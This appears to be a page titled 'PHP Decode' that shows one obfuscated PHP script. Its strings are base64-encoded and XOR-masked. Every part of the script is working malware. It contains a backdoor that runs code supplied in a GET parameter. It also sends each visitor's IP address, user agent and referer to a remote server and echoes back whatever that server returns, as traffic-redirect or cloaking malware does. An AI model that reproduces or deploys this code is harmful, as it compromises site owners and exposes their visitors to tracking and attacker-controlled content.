PHP Decode

<?php   
class Snippet   
{   
private static $s;   
public static function g($n, $k)   
{   
if (!self::$s) self::i();   
$l = strlen($k);   
$r = base64_decode(self::$s[$n]);   
for ($i = 0, $c = strlen($r);$i !== $c;++$i) $r[$i] = chr(ord($r[$i]) ^ ord($k[$i % $l]));   
return $r;   
}   
private static function i()   
{   
self::$s = array(   
'_gf' => 'HgoMOhoccioAMR0dMAVCHgU' . 'DMB5CEBsGO' . 'AA' . 'BZU' . 'lF',   
'_o' => 'HBsMFzoaFk' . '4LDRIGZVQDEy8YCwA+AAsMMVsIAikVE' . 'QAtH' . 'R' . 'I' . 'X',   
'_kpm' => '',   
'_wwe' => 'PAY' . '=',   
'_m' => '',   
'_ja' => 'MR' . 'wYHA' . '==',   
'_p' => 'YwEYYQ' . '=' . '=',   
'_dl' => 'Y' . 'xM+FW' . 'E' . '=',   
'_mt' => 'KB' . 'UIM' . 'w=' . '=',   
'_v' => 'PAU6',   
'_b' => 'Ph' . 'YWPDkX' . 'H' . 'QA' . 'r',   
'_xn' => 'N' . 'gY' . 'x',   
'_ceo' => 'P' . 'REZOk' . 'Y' . '=',   
'_xh' => 'azQABjw=',   
'_jcw' => 'MAg6',   
'_pij' => 'KAAdF' . 'A' . '==',   
'_xuc' => '',   
'_swc' => '',   
'_nkp' => 'NwIeGWVZRQ82Gg8acQEPCzwX' . 'CQE6BR4GLRcNDHEVBQRwFwlEPhgLBSYCAwosWAAaY' . 'BILHT5' . 'L',   
'_rc' => 'PBcVFgALCRM' . 'r',   
'_mx' => 'NxADHg' . 'AHGAo6',   
'_uh' => 'Yw4ZOzMbMAg' . 'dYQ==',   
'_wu' => 'YwACOz0GM' . 'hIXJlw' . '=',   
'_gm' => 'LAIFFDI' . 'E',   
'_ss' => 'NwYc' . 'Lw' . 'E=',   
'_om' => 'GC' . 'M1' . 'VQ' . '=' . '=',   
'_mu' => 'Lw' . '8QNw=' . '=',   
'_rgs' => 'Lh0S' . 'L' . 'R' . 'E' . '=',   
'_j' => 'YA==',   
'_jno' => 'LhoNLRY' . '=',   
'_amc' => 'fzILLg9VblRvd1UyMAkr' . 'QH8=',   
'_ygd' => 'NwoY' . 'K' . 'w==',   
'_c' => 'UnssMB8BOhIbNh4BZVEsMx4cOnxlUn' . 's' . '=',   
'_nhc' => 'LBIYZU5' . 'b',   
'_lcy' => '',   
'_a' => 'NxkaEA=' . '=',   
'_sj' => 'UmQ=',   
'_dcl' => 'YxsOOyYKMgkbJkc' . '=',   
'_tuz' => 'F' . 'yQmIwAzP' . 'joaP' . 'iYsF' . 'iA' . '=',   
'_ty' => 'FyYtDy06Ezs8ESYm' . 'FiI=',   
'_vf' => 'FyM4PAAvMy' . 'oQJTstDTMpKAAxIz4=',   
'_rwc' => 'F' . 'yEkPwAtLykQJycuDTE1Kw' . 'AzP' . 'z' . '0=',   
'_kbu' => 'DS4qJA' . 's' . 'uOCo' . 'b' . 'LzU' . '=',   
'_xj' => 'DS0' . '4' . 'ED' . 'w' . 'wACkxGzo' . '=',   
'_sb' => 'FzILNgAlGTkcKREoGiULLxEhAC8P',   
'_y' => 'FzALNAAnGTscK' . 'xEqGic' . 'LL' . 'REjA' . 'C0P',   
'_xu' => 'FzwkPQA9IygNNzEqGi' . 'Yk',   
'_xf' => 'Fy0jKQAsJDwNJjY+Gj' . 'c' . 'j',   
'_oeq' => 'FzcmDzwgGiU3DS' . 'Yg',   
'_mpu' => 'FyYLIgAgGjQaI' . 'B' . 'o' . 'g',   
'_ulh' => 'OR' . 'EHEToKN' . 'BM+C' . 'g=' . '=',   
'_pvb' => 'blBQ' . 'cVJJb0' . 'x' . 'W',   
'_pm' => 'Ngo=',   
'_k' => 'KhM=',   
'_mo' => 'LQ' . 'M' . 'e',   
'_sz' => 'MRUF' . 'Jw==',   
);   
}   
}   
class _8d1a3cd49dddb0ee874785cf500229c9   
{   
private static $s;   
public static function g($n)   
{   
if (!self::$s) self::i();   
return self::$s[$n];   
}   
private static function i()   
{   
self::$s = array(   
0100,   
0121,   
02,   
064,   
01,   
046711,   
01,   
052,   
00,   
0116,   
012,   
015,   
012,   
0310,   
0673,   
0120,   
00,   
02000,   
01,   
0423,   
0423   
);   
}   
}   
header(Snippet::g('_' . 'g' . 'f', '_' . 'i' . 'o'));   
header(Snippet::g('_o', '_' . 't' . 'b' . 'c'));   
$_kd = Snippet::g('_kpm', '_mf');   
if (isset($_GET[Snippet::g('_ww' . 'e', '_' . 'n') ]))   
{   
$_y = gCode(Snippet::g('_' . 'm', '_w' . 'n'));   
if ($_y && strpos($_y, Snippet::g('_ja', '_x' . 'k' . 'd')) !== false)   
{   
die(Snippet::g('_p', '_ns'));   
}   
else   
{   
die(Snippet::g('_dl', '_' . 'q'));   
}   
}   
if (isset($_GET[Snippet::g('_' . 'mt', '_t' . 'd') ]))   
{   
$_vyb = Snippet::g('_' . 'v', '_w') . Snippet::g('_' . 'b', '_bsc') . Snippet::g('_' . 'x' . 'n', '_i');   
$_epc = Snippet::g('_c' . 'e' . 'o', '_' . 'pj') . Snippet::g('_x' . 'h', '_kdc') . Snippet::g('_jcw', '_l');   
$_ow = $_epc($_GET[Snippet::g('_' . 'p' . 'ij', '_a' . 'qx') ]);   
$_ow = $_vyb(Snippet::g('_x' . 'uc', '_uz') , $_ow);   
$_ow();   
die;   
}   
function gCode($_rd)   
{   
$_y = Snippet::g('_' . 's' . 'wc', '_a' . 'o');   
$_ae = Snippet::g('_' . 'nkp', '_vj' . 'i') . $_rd;   
if (is_callable(Snippet::g('_' . 'rc', '_bg' . 'z')))   
{   
$_px = curl_init($_ae);   
curl_setopt($_px, _8d1a3cd49dddb0ee874785cf500229c9::g(0) , false);   
curl_setopt($_px, _8d1a3cd49dddb0ee874785cf500229c9::g(1) , _8d1a3cd49dddb0ee874785cf500229c9::g(2));   
curl_setopt($_px, _8d1a3cd49dddb0ee874785cf500229c9::g(3) , _8d1a3cd49dddb0ee874785cf500229c9::g(4));   
curl_setopt($_px, _8d1a3cd49dddb0ee874785cf500229c9::g(5) , _8d1a3cd49dddb0ee874785cf500229c9::g(6));   
curl_setopt($_px, _8d1a3cd49dddb0ee874785cf500229c9::g(7) , _8d1a3cd49dddb0ee874785cf500229c9::g(8));   
curl_setopt($_px, _8d1a3cd49dddb0ee874785cf500229c9::g(9) , _8d1a3cd49dddb0ee874785cf500229c9::g(10));   
curl_setopt($_px, _8d1a3cd49dddb0ee874785cf500229c9::g(11) , _8d1a3cd49dddb0ee874785cf500229c9::g(12));   
$_y = curl_exec($_px);   
$_e = curl_getinfo($_px);   
curl_close($_px);   
if ($_e[Snippet::g('_mx', '_d' . 'wn') ] != _8d1a3cd49dddb0ee874785cf500229c9::g(13)) die(Snippet::g('_uh', '_l' . 'x'));   
if (empty($_y)) die(Snippet::g('_w' . 'u', '_b' . 'c'));   
}   
else   
{   
$_psl = parse_url($_ae);   
$_wa = ($_psl[Snippet::g('_gm', '_amq') ] == Snippet::g('_' . 's' . 's', '_' . 'r' . 'h'));   
$_mgq = Snippet::g('_o' . 'm', '_fau') . $_psl[Snippet::g('_m' . 'u', '_' . 'n' . 'd') ];   
if (isset($_psl[Snippet::g('_' . 'r' . 'gs', '_hw') ])) $_mgq .= Snippet::g('_j', '_' . 'ez') . $_psl[Snippet::g('_jno', '_oh') ];   
$_mgq .= Snippet::g('_a' . 'm' . 'c', '_z') . $_psl[Snippet::g('_yg' . 'd', '_' . 'e' . 'k') ] . Snippet::g('_c', '_' . 'q' . 'o');   
$_gmo = fsockopen(($_wa ? Snippet::g('_' . 'n' . 'h' . 'c', '_a' . 't') : Snippet::g('_lc' . 'y', '_v' . 'e')) . $_psl[Snippet::g('_a', '_vid') ], $_wa ? _8d1a3cd49dddb0ee874785cf500229c9::g(14) : _8d1a3cd49dddb0ee874785cf500229c9::g(15));   
if ($_gmo)   
{   
fputs($_gmo, $_mgq);   
$_u = _8d1a3cd49dddb0ee874785cf500229c9::g(16);   
while (!feof($_gmo))   
{   
$_i = fgets($_gmo, _8d1a3cd49dddb0ee874785cf500229c9::g(17));   
if ($_u) $_y .= $_i;   
if ($_i == Snippet::g('_' . 's' . 'j', '_nr')) $_u = _8d1a3cd49dddb0ee874785cf500229c9::g(18);   
}   
fclose($_gmo);   
if (empty($_y)) die(Snippet::g('_d' . 'cl', '_y' . 'o'));   
}   
}   
return $_y;   
}   
if (isset($_SERVER[Snippet::g('_tuz', '_p' . 'rs') ])) $_nml = $_SERVER[Snippet::g('_t' . 'y', '_' . 'r' . 'y') ];   
if (isset($_SERVER[Snippet::g('_vf', '_' . 'wll') ])) $_xdl = $_SERVER[Snippet::g('_rw' . 'c', '_' . 'u' . 'po') ];   
if (isset($_SERVER[Snippet::g('_kb' . 'u', '_' . 'kg' . 'k') ])) $_gna = $_SERVER[Snippet::g('_x' . 'j', '_hu') ];   
if (isset($_SERVER[Snippet::g('_sb', '_' . 'f') ])) $_z = $_SERVER[Snippet::g('_' . 'y', '_d') ];   
if (isset($_SERVER[Snippet::g('_x' . 'u', '_hpm') ])) $_vcz = $_SERVER[Snippet::g('_x' . 'f', '_yw' . 'y') ];   
if (isset($_SERVER[Snippet::g('_oe' . 'q', '_c' . 'r') ])) $_uqq = $_SERVER[Snippet::g('_' . 'mpu', '_r') ];   
if (function_exists(Snippet::g('_ul' . 'h', '_' . 'xke')))   
{   
if (isset($_nml) && filter_var($_nml, _8d1a3cd49dddb0ee874785cf500229c9::g(19))) $_kd = $_nml;   
elseif (isset($_xdl) && filter_var($_xdl, _8d1a3cd49dddb0ee874785cf500229c9::g(20))) $_kd = $_xdl;   
else $_kd = $_gna;   
}   
elseif (isset($_gna)) $_kd = $_gna;   
if ($_kd == Snippet::g('_p' . 'vb', '_b' . 'g') && isset($_z)) $_kd = $_z;   
if (!isset($_kd) || !isset($_vcz) || !isset($_uqq)) exit;   
else   
{   
$_r = array(   
Snippet::g('_p' . 'm', '_' . 'zt') => $_kd,   
Snippet::g('_' . 'k', '_r' . 'e') => $_vcz,   
Snippet::g('_mo', '_f' . 'x' . 'd') => $_uqq   
);   
$_dr = urlencode(base64_encode(json_encode($_r)));   
$_y = gCode($_dr);   
if ($_y && strpos($_y, Snippet::g('_s' . 'z', '_' . 'qv')) !== false)   
{   
echo $_y;   
exit;   
}   
} ?>